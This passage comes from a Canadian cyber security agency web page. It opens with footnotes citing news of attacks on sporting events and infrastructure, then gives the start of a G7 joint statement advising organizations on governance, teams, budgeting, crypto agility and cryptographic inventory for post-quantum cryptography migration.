href="https://www.imperva.com/company/press_releases/bot-attacks-on-sporting-gambling-sites-spike-96-during-euro-2020/">Bot Attacks On Sporting and Gambling Sites Spike 96% During EURO 2020 – Company</a>. July 12, 2021; Reuters. <a href="https://www.reuters.com/sports/soccer/hackers-hit-poland-euro-2024-match-broadcast-second-attack-2024-06-21/">Hackers hit Poland Euro 2024 match broadcast in second attack</a>. June 21, 2024.</p> <p class="fn-rtn"><a href="#fn11-rf"><span class="wb-inv">Return to footnote </span>11<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 12</dt> <dd id="fn12"> <p>See: Translink. <a href="https://www.translink.ca/about-us/about-translink/cyber-incident">Cyber Incident</a>. December 2020; The Canadian Press. <a href="https://www.cbc.ca/news/canada/toronto/ttc-ransomware-attack-1.6231349">Toronto transit system hit by ransomware attack, TTC says no significant disruption</a>. CBC News. October 29, 2021; Nick Zaccardi. <a href="https://www.nbcsports.com/olympics/news/london-olympics-feared-opening-ceremony-cyber-attack">London Olympics feared opening ceremony cyber attack</a>. NBC Sports. July 9, 2013; Rich Nye. <a href="https://www.wthr.com/article/news/local/russian-hackers-claim-responsibility-for-cybersecurity-attack-on-tipton-indiana-wastewater-treatment-plant/531-7c8d5fc5-aca5-4609-8034-cb2c97c40817">Russian hackers claim cyberattack on Tipton wastewater plant</a>. WTHR Indianapolis. April 24, 2024; Ken Miller. <a href="https://apnews.com/article/texas-muleshoe-water-systems-cyberattacks-russia-5f388bf0d581fc8eb94b1190a7f29c3a">Rural Texas towns report cyberattacks that caused one water system to overflow</a>. AP News. April 18, 2024; Jai Vijayan. <a href="https://www.darkreading.com/cyber-risk/how-the-2022-qatar-world-cup-soccer-was-nearly-hacked">How Soccer’s 2022 World Cup in Qatar Was Nearly Hacked</a>. Dark Reading. April 3, 2024; Canadian Centre for Cyber Security. <a href="/en/guidance/cyber-threat-bulletin-prc-cyber-actors-target-telecommunications-companies-global-cyberespionage-campaign">Cyber threat bulletin: People’s Republic of China cyber threat activity: PRC cyber actors target telecommunications companies as part of a global cyberespionage campaign</a>. June 19, 2025.</p> <p class="fn-rtn"><a href="#fn12-rf"><span class="wb-inv">Return to footnote </span>12<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 13</dt> <dd id="fn13"> <p>Amy Kazim and Giuliana Ricozzi. <a href="https://www.ft.com/content/ad09fe83-abfa-425a-9bb4-5b67ca107c82?syn-25a6b1a6=1">Russia-linked hackers target Winter Olympics in Italy</a>. Financial Times. February 5, 2026; Pierluigu Paganini. <a href="https://securityaffairs.com/187654/hacktivism/pro-russian-group-noname05716-launched-ddos-attacks-on-milano-cortina-2026-winter-olympics.html">Pro-Russian group Noname057(16) launched DDoS attacks on Milano Cortina 2026 Winter Olympics. Security Affairs</a>. February 5, 2026.</p> <p class="fn-rtn"><a href="#fn13-rf"><span class="wb-inv">Return to footnote </span>13<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 14</dt> <dd id="fn14"> <p>Samiksha Jain. <a href="https://thecyberexpress.com/russian-cyberattacks-winter-olympics-2026/">Russian Cyberattacks Put Winter Olympics 2026 On High Alert</a>. The Cyber Express. February 5, 2026.</p> <p class="fn-rtn"><a href="#fn14-rf"><span class="wb-inv">Return to footnote </span>14<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 15</dt> <dd id="fn15"> <p>Phil Muncaster. <a href="https://www.infosecurity-magazine.com/news/bologna-fc-200gb-data-theft/">Bologna FC Hit By 200GB Data Theft and Ransom Demand</a>. InfoSecurity Magazine. December 2, 2024; Alex Lekander. <a href="https://cyberinsider.com/bologna-fc-hit-by-ransomware-attack-confidential-data-stolen/">Bologna FC Hit by Ransomware Attack, Confidential Data Stolen</a>. Cyber Insider. November 29, 2024.</p> <p class="fn-rtn"><a href="#fn15-rf"><span class="wb-inv">Return to footnote </span>15<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 16</dt> <dd id="fn16"> <p>Tara Seals. <a href="https://www.darkreading.com/cyberattacks-data-breaches/ddos-attack-poland-uefa-euro-opening-match">DDoS Attack Targets Poland’s UEFA Euro Opening Match</a>. DarkReading. June 20, 2024.</p> <p class="fn-rtn"><a href="#fn16-rf"><span class="wb-inv">Return to footnote </span>16<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 17</dt> <dd id="fn17"> <p>Silviu Stahie. <a href="https://www.bitdefender.com/en-us/blog/hotforsecurity/fbi-says-iranian-group-tried-to-attack-the-2024-summer-olympics">FBI Says Iranian Group Tried to Attack the 2024 Summer Olympics</a>. Bitdefender. November 1, 2024.</p> <p class="fn-rtn"><a href="#fn17-rf"><span class="wb-inv">Return to footnote </span>17<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 18</dt> <dd id="fn18"> <p>Cheryl Chan. <a href="https://vancouversun.com/news/kelowna-airport-hacked-pro-hamas-messages">Kelowna airport PA system, displays hacked with pro-Hamas messages</a>. Vancouver Sun. October 15, 2025; Amy Judd. <a href="https://globalnews.ca/news/11479402/bc-airports-hacked-pro-hamas-messages-flight-delays/">B.C. airport display screens, PA system hacked with pro-Hamas messages</a>. Global News. October 15, 2025.</p> <p class="fn-rtn"><a href="#fn18-rf"><span class="wb-inv">Return to footnote </span>18<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 19</dt> <dd id="fn19"> <p>Canadian Centre for Cyber Security. <a href="/en/guidance/national-cyber-threat-assessment-2025-2026">National Cyber Threat Assessment 2025-2026</a>. Government of Canada. September 20, 2024; Adam Segal. <a href="https://www.cfr.org/articles/new-entries-cfr-cyber-operations-tracker-q2-2024">New Entries in the CFR Cyber Operations Tracker: Q2 2024</a>. Council on Foreign Relations. February 20, 2025.</p> <p class="fn-rtn"><a href="#fn19-rf"><span class="wb-inv">Return to footnote </span>19<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 20</dt> <dd id="fn20"> <p>Canadian Centre for Cyber Security. <a href="/en/guidance/cyber-threat-bulletin-cyber-threat-major-international-sporting-events">Cyber threat bulletin: The cyber threat to major international sporting events</a>. May 31, 2024.</p> <p class="fn-rtn"><a href="#fn20-rf"><span class="wb-inv">Return to footnote </span>20<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 21</dt> <dd id="fn21"> <p>Canadian Centre for Cyber Security. <a href="/en/guidance/cyber-threat-bulletin-iranian-cyber-threat-response-usisrael-strikes-february-2026">Cyber threat bulletin: Iranian Cyber Threat Response to US/Israel strikes</a>. March 02, 2026.</p> <p class="fn-rtn"><a href="#fn21-rf"><span class="wb-inv">Return to footnote </span>21<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 22</dt> <dd id="fn22"> <p>Industrial Cyber. <a href="https://industrialcyber.co/reports/check-point-us-faces-rising-cyber-power-contest-as-state-aligned-operations-target-government-critical-infrastructure/">Check Point: US faces rising cyber power contest as state-aligned operations target government, critical infrastructure</a>. December 10, 2025.</p> <p class="fn-rtn"><a href="#fn22-rf"><span class="wb-inv">Return to footnote </span>22<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 23</dt> <dd id="fn23"> <p>Canadian Centre for Cyber Security. <a href="/en/guidance/national-cyber-threat-assessment-2025-2026">National Cyber Threat Assessment 2025-2026</a>. Government of Canada. October 30, 2024.</p> <p class="fn-rtn"><a href="#fn23-rf"><span class="wb-inv">Return to footnote </span>23<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 24</dt> <dd id="fn24"> <p>The Guardian. <a href="https://www.theguardian.com/technology/article/2024/jun/03/russia-paris-olympics-deepfake-tom-cruise-video">Russia targets Paris Olympics with deepfake Tom Cruise video | AI</a>. June 3, 2024.</p> <p class="fn-rtn"><a href="#fn24-rf"><span class="wb-inv">Return to footnote </span>24<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 25</dt> <dd id="fn25"> <p>CBS News. <a href="https://www.cbsnews.com/news/russia-targets-americans-traveling-to-paris-olympics-with-fake-cia-video/">Russia targets Americans traveling to Paris Olympics with fake CIA video</a>. June 19, 2024.</p> <p class="fn-rtn"><a href="#fn25-rf"><span class="wb-inv">Return to footnote </span>25<span class="wb-inv"> referrer</span></a></p> </dd> </dl></aside><div class="pull-right small text-muted"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> </div> </div> </div> </div> </div> </article>

<article data-history-node-id="7764" about="/en/news-events/g7-cybersecurity-working-group-statement-preparing-post-quantum-cryptography-migration" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><p>This document is jointly published by:</p> <ul><li>Canada’s Communications Security Establishment (CSE)</li> <li>Germany’s Federal Office for Information Security (BSI)</li> <li>Italy’s National Cybersecurity Agency (ACN)</li> <li>France’s National Cybersecurity Agency (ANSSI)</li> <li>The US Cybersecurity and Infrastructure Security Agency (CISA)</li> <li>UK’s National Cyber Security Centre (NCSC) and Department for Science, Innovation and Technology (DSIT)</li> <li>Japan’s National Cybersecurity Office (NCO)</li> </ul><p>in collaboration with the EU Commission.</p> <section><h2 id="Intro">Introduction</h2> <p>Quantum computers use quantum physics to process information and solve problems that are impractical to solve using current computing capabilities. Although these computers can be beneficial in fields like medicine and science, they also pose risks to cyber security with their ability to break public key cryptography (PKC). <abbr title="public key cryptography">PKC</abbr>, also known as asymmetric cryptography, is used to protect the confidentiality, integrity and authentication of communication and data. It also provides assurance that software and updates are from the organizations that you expect and have not been tampered with. The United States’ National Institute for Standards and Technology (NIST), in conjunction with experts from around the world, has chosen new algorithms that are resistant to a quantum attack in order to replace the existing vulnerable ones. This new field of cryptography is called post-quantum cryptography (PQC). The G7 Cybersecurity Working Group (G7 CWG) recognizes the challenges that transitioning to new algorithms bring to organizations and has developed this publication to provide practical advice to prepare for this important process. In addition to this publication, the G7 Cyber Expert Group (G7 CEG) has published a group statement on “<a href="https://home.treasury.gov/system/files/136/G7-CEG-Quantum-Roadmap.pdf">Advancing a Coordinated Roadmap for the Transition to Post-Quantum Cryptography in the Financial Sector</a>” which readers may find useful.</p> </section><section class="alert alert-info"><p>This document is not intended to be a source of cyber security advice, or any other kind of advice, and should not be treated as such. This publication does not supersede any guidance or regulatory requirements published by your national authorities and should not be treated as doing so.</p> </section><details class="mrgn-tp-md"><summary><h2 class="h3">Table of contents</h2> </summary><ul class="list-unstyled"><li><a href="#Intro">Introduction</a></li> <li><a href="Audience">Audience and purpose</a></li> <li><a href="#Terminology">Terminology</a></li> <li><a href="#Project-prep">Project preparation</a> <ul><li><a href="#Governance">Governance</a></li> <li><a href="#Project-teams">Project teams</a></li> <li><a href="#Org-aware">Organizational awareness</a></li> <li><a href="#Budget-consider">Budget considerations</a></li> <li><a crypto-agil="" href="#">Cryptographic agility</a></li> </ul></li> <li><a href="#Plan-dev">Migration plan development</a> <ul><li><a href="#Id-crypto">Identifying cryptography</a></li> <li><a href="#Prioritization">Prioritization</a></li> <li><a href="#Transition">Transition</a></li> <li><a href="#Testing">Testing</a></li> <li><a href="#Documentation">Documentation</a></li> </ul></li> <li><a href="#Conclusion">Conclusion</a></li> <li><a href="#Appendix">Appendix</a> <ul><li><a href="consider-crypto-id">Considerations for identifying cryptography</a></li> <li><a href="#hybrid-crypto">Hybrid cryptography</a></li> <li><a href="#Operational-Tech">Operational and cloud technology considerations</a></li> <li><a href="#Cert">Certification</a></li> <li><a href="#info-sec">Information security management standards</a></li> </ul></li> </ul></details><section><h2 id="Audience">Audience and purpose</h2> <p>This publication provides recommendations to prepare organizations to transition to <abbr title="Post-quantum cryptography">PQC</abbr>. It has been developed by dedicated experts of the G7 CWG, including governments and their national cyber agencies. It is targeted at technical management of medium-to-large organizations to provide guidance on the types of work that could be performed during a typical transition project. The G7 CWG recognizes that organizations across the world have different structures and governance requirements, and that a single guidance publication cannot cover all organizations’ needs. As a result, this publication provides pragmatic approaches that can be adopted and modified by organizations to meet their goal of transitioning to <abbr title="Post-quantum cryptography">PQC</abbr>. In addition to this publication, the G7 CWG recommends that you review other relevant guidance from standards bodies as well as your national cyber agency. This publication should not supersede any guidance published by your national technical authority.</p> </section><section><h2 id="Terminology">Terminology</h2> <p>Most of the terminology used in this section comes from the European Commission’s <abbr title="Post-quantum cryptography">PQC</abbr> roadmap publication<sup id="fn1-rf"><a class="fn-lnk" href="#fn1">1</a></sup>. Any modifications or additions in this publication are due to changes in audience or are intended to add information relevant to this publication.</p> <dl><dt>Cryptographic agility (crypto agility)</dt> <dd>The design of cryptographic protocols and systems in a modular way that enables replacing the cryptographic components. This concept must not be confused with a requirement to negotiate the cipher suite during protocol execution.</dd> <dt>Cryptographic inventory</dt> <dd>A structured overview of cryptographic assets.</dd> <dt>Cryptographically relevant quantum computer (CRQC)</dt> <dd>A quantum computer that is powerful enough to solve factorization and discrete logarithm problems of sizes that are used in quantum-vulnerable cryptography today.</dd> <dt>Harvest now, decrypt later (HNDL) attack</dt> <dd>A scenario, where adversaries store encrypted data for decryption once a cryptographically relevant quantum computer emerges. This is a threat when the confidentiality of data needs to be protected for a long time period (for instance governmental data, sensitive personal data, trade or business secrets).</dd> <dt>Post-quantum cryptography (PQC)</dt> <dd>Asymmetric cryptographic algorithms that are developed and designed to be secure against traditional and quantum attacks.</dd> <dt>Post-quantum traditional (PQ/T) hybrid scheme</dt> <dd>A cryptographic scheme that incorporates at least 1 <abbr title="Post-quantum cryptography">PQC</abbr> algorithm and at least 1 traditional algorithm, where each component algorithm has the same cryptographic purpose as each other and as the overall scheme. An example of such scheme is the Internet Engineering Task Force’s (IETF) Request for Comments (RFC) on <a href="https://datatracker.ietf.org/doc/draft-ietf-tls-hybrid-design/16/">Hybrid key exchange in TLS1.3</a>, which provides a construction for combining a traditional key exchange (for example, elliptic curve Diffie-Hellman (ECDH) or finite field Diffie-Hellman (FFDH) key exchange) with post-quantum key encapsulation mechanisms (KEMs) to provide hybrid confidentiality for the Transport Layer Security (TLS) layer.</dd> <dt>Public key infrastructure (PKI)</dt> <dd>A framework for issuing, maintaining, and revoking public key certificates.</dd> <dt>Quantum attack</dt> <dd>Using a cryptographically relevant quantum computer running a quantum algorithm to attack a cryptographic algorithm.</dd> <dt>Quantum-safe</dt> <dd>Something that is expected to be secure against traditional and quantum attacks. This term also covers symmetric cryptography algorithms.</dd> <dt>Quantum-vulnerable</dt> <dd>Not quantum-safe. Cryptographic algorithms that are expected to be vulnerable to quantum attacks.</dd> <dt>Traditional</dt> <dd>Quantum-vulnerable (for cryptographic mechanisms) or non-quantum (for example, for attacks) depending on the context.</dd> </dl></section><section><h2 id="Project-prep">Project preparation</h2> <p>The following sections outline considerations for organizations when preparing to transition to <abbr title="Post-quantum cryptography">PQC</abbr>, including:</p> <ul><li>governance</li> <li>project teams</li> <li>organizational awareness</li> <li>budget</li> <li>crypto agility</li> </ul><p>Although this publication provides information on how to prepare organizations for the transition to <abbr title="Post-quantum cryptography">PQC</abbr>, this is not an exhaustive list, and your organization may have additional requirements that should be considered for your specific situation. In addition to this publication, you should also consult all guidance from your national cyber agency.</p> <div> <h3 id="Governance">Governance</h3> <p>When presenting <abbr title="Post-quantum cryptography">PQC</abbr> to senior leadership, the following points may secure their buy-in and allow them to understand their role during the transition. It is important that senior leadership takes an active role in the promotion of <abbr title="Post-quantum cryptography">PQC</abbr> in their organization. They should provide direction to technical leads on the scale and pace of <abbr title="Post-quantum cryptography">PQC</abbr> migration. In turn, technical teams should provide senior leadership with estimates on the costs and what can be delivered within a given timeframe. They should also provide regular updates to senior leadership on progress against the timeframe.</p> <p>Senior leaders are responsible for setting strategic priorities and allocating resources. It is important to note that <abbr title="Post-quantum cryptography">PQC</abbr> is not just a technical upgrade, but rather a core cyber security measure that should be integrated into existing organizational risk management processes and information security management systems (ISMS).</p> </div> <div> <h3>Timeframes</h3> <p>Unlike some cyber security threats which require rapid changes that can be disruptive and expensive, an advantage of <abbr title="Post-quantum cryptography">PQC</abbr> migration is its relatively long timeframe for implementation. Migration is expected to be completed in the private sector during the 2030s (specific dates will vary slightly by country; refer to your national guidelines for additional information). You should highlight to senior leadership that beginning a controlled migration early on will make migration more manageable and affordable.</p> <h4>Competition and excellence</h4> <p>Starting the <abbr title="Post-quantum cryptography">PQC</abbr> transition ahead of your competitors may signal to investors and customers that your organization is forward-thinking and takes cyber security seriously. To effectively engage senior leadership, you should stress the competitive advantage that early <abbr title="Post-quantum cryptography">PQC</abbr> adoption brings.</p> <h4>How to engage leadership</h4> <ul><li>Frame <abbr title="Post-quantum cryptography">PQC</abbr> as a business risk. For instance, emphasize the HNDL threat and the long-term impact on data confidentiality. You can also highlight that failure to act in a timely and structured manner may be more costly in the long run.</li> <li>Use the available resources from your national technical authority, including guidance relating to promoting cyber security to boards and executives. Highlight any deadlines for <abbr title="Post-quantum cryptography">PQC</abbr> completion.</li> <li>Position <abbr title="Post-quantum cryptography">PQC</abbr> migration as an opportunity for organizations to: <ul><li>modernize infrastructure</li> <li>improve resilience</li> <li>demonstrate their dedication to cyber security by making <abbr title="Post-quantum cryptography">PQC</abbr> a part of their “normal” cyber security upgrade and refresh cycles</li> </ul></li> </ul><h4>Practical steps</h4> <ul><li>Designate a board member accountable for <abbr title="Post-quantum cryptography">PQC</abbr> migration, including allocation of funding for the work. Where possible, this should be the member accountable for managing the wider cyber security risks of the organization. This individual should also be someone that is known to employees and with whom they can engage.</li> <li>Map cryptographic dependencies: Identify where <abbr title="public key cryptography">PKC</abbr> is used across systems and supply chains.</li> <li>Consider using consultants that specialize in <abbr title="Post-quantum cryptography">PQC</abbr> migration. Some countries have accreditation schemes for consultancies that have received training in this area.</li> <li>Join working groups: Collaborate with industry peers to share best practices and avoid duplication of effort. If these groups do not exist, consider establishing them to demonstrate leadership in your sector.</li> <li>Track progress: Use metrics to measure leadership awareness and decision-making impact.</li> </ul></div> <div> <h3 id="Project-teams">Project teams</h3> <p>To prepare for the transition to <abbr title="Post-quantum cryptography">PQC</abbr>, it is recommended that organizations develop teams to oversee the work. Project teams should consist of stakeholders throughout the organization and include at least 1 member from senior management to lend necessary support. Although much of the work to be performed is technical, it is beneficial to include stakeholders in non-technical areas, including finance, project management, procurement and any other relevant stakeholders.</p> <p>Below are a series of teams that your organization should consider standing up. This is not prescriptive, and you may find it works better to merge or exclude some of these teams based on your organization’s structure and requirements. You may also choose to outsource some of this work to consultants specializing in <abbr title="Post-quantum cryptography">PQC</abbr>. In this case, check if your national technical authority provides formal accreditation to these organizations.</p> <div> <h4>Executive governance and strategy team</h4> <p>This team will be the main driver of <abbr title="Post-quantum cryptography">PQC</abbr> migration within an organization. The purpose of this team is to set direction, secure board-level buy-in, and align with relevant national timelines. It will also be responsible for briefing the board and ensuring that <abbr title="Post-quantum cryptography">PQC</abbr> remains a high priority on the organization’s agenda.</p> <p>Key roles:</p> <ul><li>Chief information security officer (CISO)</li> <li>Policy lead or <abbr title="Post-quantum cryptography">PQC</abbr> program lead</li> <li>Legal/compliance advisor</li> </ul><p><strong>Tip</strong>: Consider setting up a project management office (PMO) team (discussed below) that will support the governance and strategy team in coordinating <abbr title="Post-quantum cryptography">PQC</abbr> migration and the relevant project teams.</p> </div> <div> <h4>Cryptographic discovery and planning team</h4> <p>One of the first objectives your organization will need to deliver is a map of the systems which will need to be made <abbr title="Post-quantum cryptography">PQC</abbr>-compliant. This map should identify both internal systems and anything that is delivered by a third party. Once you have completed this discovery task, you should draft a migration plan.</p> <p>The purpose of this team will be to map cryptographic dependencies, assess risks and develop migration plans.</p> <p>Key roles:</p> <ul><li>Cryptography specialist</li> <li>Systems architect</li> <li>Asset discovery analyst</li> </ul><p><strong>Tip:</strong> Begin with a full discovery exercise to identify where <abbr title="public key cryptography">PKC</abbr> is used across systems, and don’t forget about your suppliers.</p> </div> <div> <h4>Technical implementation team</h4> <p>Once your organization has undertaken a discovery and mapping task, the next objective should be the implementation of <abbr title="Post-quantum cryptography">PQC</abbr> in discovered systems.</p> <p>The purpose of this group is to upgrade systems, integrate <abbr title="Post-quantum cryptography">PQC</abbr> algorithms and validate performance.</p> <p>Key roles:</p> <ul><li>Software engineers</li> <li>Network security engineers</li> <li>Infrastructure/development and operations (DevOps) leads</li> </ul></div> <div> <h4>Vendor and supply chain engagement team</h4> <p>During the discovery and mapping phase, it is likely that you will have identified that third-party systems will also need to be <abbr title="Post-quantum cryptography">PQC</abbr> compliant. It is therefore important to engage with suppliers as early as possible to ensure they can meet your <abbr title="Post-quantum cryptography">PQC</abbr> migration deadlines.</p> <p>The purpose of this group is to ensure that suppliers and other service providers are <abbr title="Post-quantum cryptography">PQC</abbr>-ready.</p> <p>Key roles:</p> <ul><li>Procurement lead</li> <li>Vendor risk manager</li> <li>Supply chain analyst</li> </ul><p><strong>Tip:</strong> If you supply other businesses, it is worth considering their demands for <abbr title="Post-quantum cryptography">PQC</abbr>-compliant services. Early <abbr title="Post-quantum cryptography">PQC</abbr> migration in your business may set you apart from your competitors.</p> </div> <div> <h4>Project management office (PMO)</h4> <p>As with all medium-to-large-scale projects, your organization may wish to consider a PMO team to oversee and coordinate the <abbr title="Post-quantum cryptography">PQC</abbr> migration plan, as well as the outputs and expectations from the other teams listed.</p> <p>The purpose of the PMO will be to oversee timelines, dependencies and reporting updates to the executive.</p> <p>Key roles:</p> <ul><li>Project manager</li> <li>Risk and issue manager</li> <li>Reporting analyst</li> </ul></div> </div> <div> <h3 id="Org-aware">Organizational awareness</h3> <p>As with most large projects, it is important that all affected stakeholders are aware of how <abbr title="Post-quantum cryptography">PQC</abbr> migration will impact them. It should be expected that the transition to <abbr title="Post-quantum cryptography">PQC</abbr> will affect most people in an organization and in varying ways, from the leadership who must oversee the work and provide the financing, to the employees who use the software and devices that will be transitioned.</p> <p>Your communication goals should be to:</p> <ul><li>inform senior leadership of the need to transition to <abbr title="Post-quantum cryptography">PQC</abbr> so that they can make necessary decisions for your organization. Discussion topics include the reason for the transition, estimated timelines, potential costs and other topics relevant to your organization.</li> <li>prepare teams within your organization that will be involved with the transition so that they are aware of their roles and responsibilities. Each team should use this information to develop or modify policies and procedures appropriately. For example, updating procurement policies to require the purchase of products that support <abbr title="Post-quantum cryptography">PQC</abbr>.</li> <li>inform members across the organization about what the transition to <abbr title="Post-quantum cryptography">PQC</abbr> is, why it is important and how it is expected to affect them and their work. This includes training on any new tools and policies that will be introduced during the transition.</li> </ul><p>Communications should continue throughout the project to ensure that all stakeholders are aware of the latest updates and can make relevant decisions.</p> </div> <div> <h3 id="Budget-consider">Budget considerations</h3> <p>When preparing for the transition to <abbr title="Post-quantum cryptography">PQC</abbr>, organizations should create a financial plan. Although some transition costs can be covered through natural lifecycling of infrastructure, additional funding resources may be needed to pay for the work. The following is a list of items that an organization should consider when budgeting. Your organization may require additional financial resources in addition to those listed below.</p> <div> <h4>New hardware</h4> <p>You may find that you need to replace existing hardware if your vendor no longer supports it or has no plans to transition it to <abbr title="Post-quantum cryptography">PQC</abbr>. Additionally, new hardware may be needed to test configurations of existing systems to validate that the changes introduced during the transition will work in your environment. When developing a specific budget for the transition, consider whether hardware can be replaced through natural lifecycle replacement and therefore can be excluded from this specific budget.</p> </div> <h4>Software</h4> <p>Software that uses <abbr title="public key cryptography">PKC</abbr> should be upgraded or replaced to use <abbr title="Post-quantum cryptography">PQC</abbr> algorithms. However, if your software vendor will support <abbr title="Post-quantum cryptography">PQC</abbr> and it is under a support contract, it may not be necessary to budget for replacement. Any changes to software should nonetheless be tested to ensure that it still meets the requirements of your organization.</p> <h4>Support contracts</h4> <p>Maintaining support contracts with vendors may be a good approach to upgrade product firmware and software. However, you should first communicate with your vendors to determine whether they will transition to <abbr title="Post-quantum cryptography">PQC</abbr> and will cover the <abbr title="Post-quantum cryptography">PQC</abbr> algorithms under existing contracts.</p> <h4>Employees and training</h4> <p>It may be necessary to train IT staff on how to use and appropriately configure any new or modified hardware and software to meet organizational requirements and to avoid introducing any vulnerabilities when deploying <abbr title="Post-quantum cryptography">PQC</abbr>. It may also be necessary to inform and educate other staff about new tools or changes to existing tools that may affect their work.</p> <h4>Contractors</h4> <p>For many organizations, transitioning to <abbr title="Post-quantum cryptography">PQC</abbr> may require more resources or cryptographic expertise than the organization has available. Augmenting staff with contractors during the transition may provide the necessary resources to complete the transition while limiting the impact on normal operations.</p> <h4>Outsourcing</h4> <p>Rather than augmenting your staff with contractors, you may wish to outsource the work to organizations that provide <abbr title="Post-quantum cryptography">PQC</abbr> transition expertise. You may wish to check whether your national technical authority provides formal accreditation of these organizations.</p> </div> <div> <h3 id="Crypto-agil">Cryptographic agility</h3> <p>Systems deploying cryptographic mechanisms cannot offer continuous security throughout their lifetimes. This is especially true when you consider the threat posed by state-of-the-art technology that is continuously evolving and becoming more advanced. When the underlying components of a system (or protocols) are rigid, any attempt to transition to a more secure design will always entail significant financial, time and organizational resources, while also making it harder to remain interoperable. For example, it took several decades to transition from the Data Encryption Standard (DES) block cipher to the Advanced Encryption Standard (AES), with <abbr title="National Institute for Standards and Technology">NIST</abbr> finally disallowing the use of the Triple Data Encryption Algorithm (TDEA) as of January 1, 2024.</p> <p>The concept of cryptographic agility is to design protocols and systems in a modular scheme, allowing for the reconfiguration or replacement of individual components. As the migration to <abbr title="Post-quantum cryptography">PQC</abbr> will require a significant overhaul of the current systems in use, there is a long-term security and financial gain to be had by integrating crypto agility into the current transition.</p> <p>The fundamental step to becoming cryptographically agile is the ability to detect weaknesses in deployed systems and to know where changes will need to be made. This leads to the requirement to build and continuously maintain and update a complete cryptographic inventory. This should remain a top priority going forward for all areas where cryptographic mechanisms are used.</p> <p>The way cryptographic agility is implemented and the requirements for achieving it depend on the specific context—whether at the vendor or purchaser level, or within a system or protocol. For purchasers, this involves considering crypto agility when buying products and maintaining regular communication with vendors and security experts to remain secure. For a system, this could include an efficient quantum-safe update mechanism for cryptographic components realized in software, firmware or field-programmable gate arrays (FPGAs). For a protocol, a cryptographically agile design should not only facilitate inserting and switching between new algorithms and suites but also incorporate identification methods which would allow for a simple inclusion of new algorithms/suites at a later date. Additionally, for algorithms themselves, such crypto agile designs should allow changes to the parameters which determine the security level provided.</p> <p>Deploying systems and protocols to be cryptographically agile provides various advantages beyond being prepared for the future. Along with offering long-term protection, crypto-agile systems and protocols can be applied in various countries and international organizations. It can also protect confidential information where there may be differing guidelines for parameters and algorithms, ensuring easier compliance for each use-case.</p> <p><a href="https://csrc.nist.gov/pubs/cswp/39/considerations-for-achieving-cryptographic-agility/2pd"><abbr title="National Institute for Standards and Technology">NIST</abbr>’s Cybersecurity White Paper (CSWP) 39</a> and <a href="https://www.cyber.gc.ca/en/guidance/guidance-becoming-cryptographically-agile-itsap40018">Canadian Centre for Cyber Security’s (CCCS) Guidance on becoming cryptographically agile</a> provide more detail on approaches to cryptographic agility.</p> </div> </section><section><h2 id="Plan-dev">Migration plan development</h2> <p>Your organization will most likely develop many plans during the <abbr title="Post-quantum cryptography">PQC</abbr> transition. From high-level plans covering the organization down to specific plans for transitioning individual systems, planning is critical to the success of the <abbr title="Post-quantum cryptography">PQC</abbr> transition. While developing plans, organizations should consider factors such as risk to data, impact on users both internally and externally, interoperability requirements, and service level agreements, as they will all have an effect on how you proceed. This section provides considerations for your organization. As with all subjects described in this publication, you should ensure that all <abbr title="Post-quantum cryptography">PQC</abbr> planning is tailored to your environment.</p> <div> <h3 id="Id-crypto">Identifying cryptography</h3> <p>Building a detailed cryptographic inventory is an important step in an organization’s quantum-readiness plan. This is one of the resource-intensive tasks, as many organizations lack visibility into where and how cryptography is used across systems, devices, network protocols and cloud services.</p> <p>In addition, identification of cryptography should be approached as an ongoing, iterative process, in which each cycle progressively refines the inventory and improves data accuracy. Ideally, this process should be repeated periodically to ensure that the information remains current and reliable.</p> <p>Organizations may start by leveraging existing asset inventory data, obtained as part of standard information security management practices, to identify systems, applications and data flows that depend on cryptographic functions. This will establish a foundation basis for assessing <abbr title="Post-quantum cryptography">PQC</abbr> migration needs and prioritizing remediation efforts.</p> <p>The cryptographic discovery and planning team, which is responsible for the cryptographic inventory, should allocate significant time and resources. Failure to identify a cryptographic asset at this stage may result in an unacceptable cyber security risk when <abbr title="Cryptographically relevant quantum computer">CRQC</abbr>s become available to malicious actors.</p> <p>The collected information should be as detailed as possible (algorithm, key length, usage, etc.), as it will determine whether a cryptographic asset is vulnerable to quantum attack. This will allow the organization to perform an adequate risk evaluation.</p> <p>The cryptographic inventory could be based on standard, machine-readable formats such as the Cryptographic Bill of Materials (CBOM). For more information, read <a href="cryto-inventory-bill">Cryptographic inventory and the <abbr title="Cryptographic Bill of Materials">CBOM</abbr></a> in the Appendix to this publication.</p> <p>While the primary focus of the transition is migrating traditional <abbr title="public key cryptography">PKC</abbr> to <abbr title="Post-quantum cryptography">PQC</abbr>, it is also valuable to identify where cryptography is used across all systems and supply chains (for example, symmetric algorithms, hash functions, etc.) even though it is unlikely to be in scope of <abbr title="Post-quantum cryptography">PQC</abbr> migration to further enhance cryptographic agility within the organization (see Cryptographic agility).</p> <div> <h4>Scenarios where cryptographic assets are used</h4> <p>A complete inventory requires investigating cryptographic assets in several different scenarios that can be grouped into the following 4 areas of research.</p> <div> <h5>Networked appliances and applications</h5> <p>These include systems that use cryptographic algorithms during the transmission of data. For example, TLS uses <abbr title="public key cryptography">PKC</abbr> to establish secure communication tunnels between systems. Networked appliances and applications include but are not limited to:</p> <ul><li>network devices: router, firewalls, virtual 